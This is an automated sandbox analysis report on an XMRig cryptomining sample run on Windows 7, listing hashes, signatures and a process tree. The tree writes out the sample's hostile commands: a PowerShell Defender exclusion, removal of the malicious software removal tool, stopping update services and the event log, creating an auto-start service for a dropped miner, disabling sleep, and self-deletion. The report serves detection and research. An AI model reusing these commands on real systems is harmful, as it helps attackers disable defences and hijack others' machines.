Analysis
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max time kernel
119s -
max time network
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platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
19-12-2024 21:17
Static task
static1
Behavioral task
behavioral1
Sample
849c6d8c116e706f290cdc44860d82c573beb1ec5583a8e4efc7ba56412a92c3N.exe
Resource
win7-20240708-en
General
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Target
849c6d8c116e706f290cdc44860d82c573beb1ec5583a8e4efc7ba56412a92c3N.exe
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Size
5.6MB
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MD5
837f5e09327cb5757fff192511501720
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SHA1
89f33c729e82705544237b9388e8fae2139ca52a
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SHA256
849c6d8c116e706f290cdc44860d82c573beb1ec5583a8e4efc7ba56412a92c3
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SHA512
371ece908c1c197debf38433e37b13f50b7fd562516cfbfb89b9d799e61597653f251a2316988f57904a1c751a0f1b0c238f40457cba0c8ca18deb5c45e25537
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SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 9 IoCs
resource yara_rule behavioral1/memory/2892-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2892-32-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2892-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2892-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2892-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2892-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2892-35-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2892-41-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2892-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1228 powershell.exe 1696 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 2736 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 480 Process not Found 580 fqwofdtexigy.exe -
Loads dropped DLL 1 IoCs
pid Process 480 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2588 powercfg.exe 2748 powercfg.exe 2648 powercfg.exe 1908 powercfg.exe 2628 powercfg.exe 2888 powercfg.exe 2220 powercfg.exe 2908 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 849c6d8c116e706f290cdc44860d82c573beb1ec5583a8e4efc7ba56412a92c3N.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 580 set thread context of 816 580 fqwofdtexigy.exe 85 PID 580 set thread context of 2892 580 fqwofdtexigy.exe 90 -
resource yara_rule behavioral1/memory/2892-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2892-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2892-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2892-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2892-25-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2892-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2892-26-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2892-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2892-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2892-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2892-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2892-35-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2892-41-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2892-40-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2232 sc.exe 1944 sc.exe 2872 sc.exe 2808 sc.exe 2568 sc.exe 2612 sc.exe 1288 sc.exe 2456 sc.exe 1312 sc.exe 728 sc.exe 1264 sc.exe 2688 sc.exe 2852 sc.exe 2700 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b008d3845b52db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2356 849c6d8c116e706f290cdc44860d82c573beb1ec5583a8e4efc7ba56412a92c3N.exe 1228 powershell.exe 2356 849c6d8c116e706f290cdc44860d82c573beb1ec5583a8e4efc7ba56412a92c3N.exe 2356 849c6d8c116e706f290cdc44860d82c573beb1ec5583a8e4efc7ba56412a92c3N.exe 2356 849c6d8c116e706f290cdc44860d82c573beb1ec5583a8e4efc7ba56412a92c3N.exe 2356 849c6d8c116e706f290cdc44860d82c573beb1ec5583a8e4efc7ba56412a92c3N.exe 2356 849c6d8c116e706f290cdc44860d82c573beb1ec5583a8e4efc7ba56412a92c3N.exe 2356 849c6d8c116e706f290cdc44860d82c573beb1ec5583a8e4efc7ba56412a92c3N.exe 2356 849c6d8c116e706f290cdc44860d82c573beb1ec5583a8e4efc7ba56412a92c3N.exe 2356 849c6d8c116e706f290cdc44860d82c573beb1ec5583a8e4efc7ba56412a92c3N.exe 2356 849c6d8c116e706f290cdc44860d82c573beb1ec5583a8e4efc7ba56412a92c3N.exe 2356 849c6d8c116e706f290cdc44860d82c573beb1ec5583a8e4efc7ba56412a92c3N.exe 2356 849c6d8c116e706f290cdc44860d82c573beb1ec5583a8e4efc7ba56412a92c3N.exe 2356 849c6d8c116e706f290cdc44860d82c573beb1ec5583a8e4efc7ba56412a92c3N.exe 2356 849c6d8c116e706f290cdc44860d82c573beb1ec5583a8e4efc7ba56412a92c3N.exe 2356 849c6d8c116e706f290cdc44860d82c573beb1ec5583a8e4efc7ba56412a92c3N.exe 2356 849c6d8c116e706f290cdc44860d82c573beb1ec5583a8e4efc7ba56412a92c3N.exe 580 fqwofdtexigy.exe 1696 powershell.exe 580 fqwofdtexigy.exe 580 fqwofdtexigy.exe 580 fqwofdtexigy.exe 580 fqwofdtexigy.exe 580 fqwofdtexigy.exe 580 fqwofdtexigy.exe 580 fqwofdtexigy.exe 580 fqwofdtexigy.exe 580 fqwofdtexigy.exe 580 fqwofdtexigy.exe 580 fqwofdtexigy.exe 580 fqwofdtexigy.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe 2892 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 1228 powershell.exe Token: SeShutdownPrivilege 2748 powercfg.exe Token: SeShutdownPrivilege 2588 powercfg.exe Token: SeShutdownPrivilege 2908 powercfg.exe Token: SeShutdownPrivilege 2220 powercfg.exe Token: SeDebugPrivilege 1696 powershell.exe Token: SeShutdownPrivilege 2628 powercfg.exe Token: SeShutdownPrivilege 2888 powercfg.exe Token: SeShutdownPrivilege 1908 powercfg.exe Token: SeShutdownPrivilege 2648 powercfg.exe Token: SeLockMemoryPrivilege 2892 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2248 wrote to memory of 2800 2248 cmd.exe 39 PID 2248 wrote to memory of 2800 2248 cmd.exe 39 PID 2248 wrote to memory of 2800 2248 cmd.exe 39 PID 2736 wrote to memory of 1792 2736 cmd.exe 64 PID 2736 wrote to memory of 1792 2736 cmd.exe 64 PID 2736 wrote to memory of 1792 2736 cmd.exe 64 PID 752 wrote to memory of 1700 752 cmd.exe 72 PID 752 wrote to memory of 1700 752 cmd.exe 72 PID 752 wrote to memory of 1700 752 cmd.exe 72 PID 580 wrote to memory of 816 580 fqwofdtexigy.exe 85 PID 580 wrote to memory of 816 580 fqwofdtexigy.exe 85 PID 580 wrote to memory of 816 580 fqwofdtexigy.exe 85 PID 580 wrote to memory of 816 580 fqwofdtexigy.exe 85 PID 580 wrote to memory of 816 580 fqwofdtexigy.exe 85 PID 580 wrote to memory of 816 580 fqwofdtexigy.exe 85 PID 580 wrote to memory of 816 580 fqwofdtexigy.exe 85 PID 580 wrote to memory of 816 580 fqwofdtexigy.exe 85 PID 580 wrote to memory of 816 580 fqwofdtexigy.exe 85 PID 580 wrote to memory of 2892 580 fqwofdtexigy.exe 90 PID 580 wrote to memory of 2892 580 fqwofdtexigy.exe 90 PID 580 wrote to memory of 2892 580 fqwofdtexigy.exe 90 PID 580 wrote to memory of 2892 580 fqwofdtexigy.exe 90 PID 580 wrote to memory of 2892 580 fqwofdtexigy.exe 90
Processes
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C:\Users\Admin\AppData\Local\Temp\849c6d8c116e706f290cdc44860d82c573beb1ec5583a8e4efc7ba56412a92c3N.exe"C:\Users\Admin\AppData\Local\Temp\849c6d8c116e706f290cdc44860d82c573beb1ec5583a8e4efc7ba56412a92c3N.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2356 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1228
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2248 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2800
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2456
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2688
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2808
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2568
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2852
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2220
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2908
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2588
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2748
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:2700
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:2612
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:1312
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:2232
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\849c6d8c116e706f290cdc44860d82c573beb1ec5583a8e4efc7ba56412a92c3N.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2736 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1792
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C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:580 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1696
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:752 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:1700
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:728
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1264
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1288
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1944
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2872
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2648
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2628
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1908
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2888
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:816
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2892
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD5837f5e09327cb5757fff192511501720
SHA189f33c729e82705544237b9388e8fae2139ca52a
SHA256849c6d8c116e706f290cdc44860d82c573beb1ec5583a8e4efc7ba56412a92c3
SHA512371ece908c1c197debf38433e37b13f50b7fd562516cfbfb89b9d799e61597653f251a2316988f57904a1c751a0f1b0c238f40457cba0c8ca18deb5c45e25537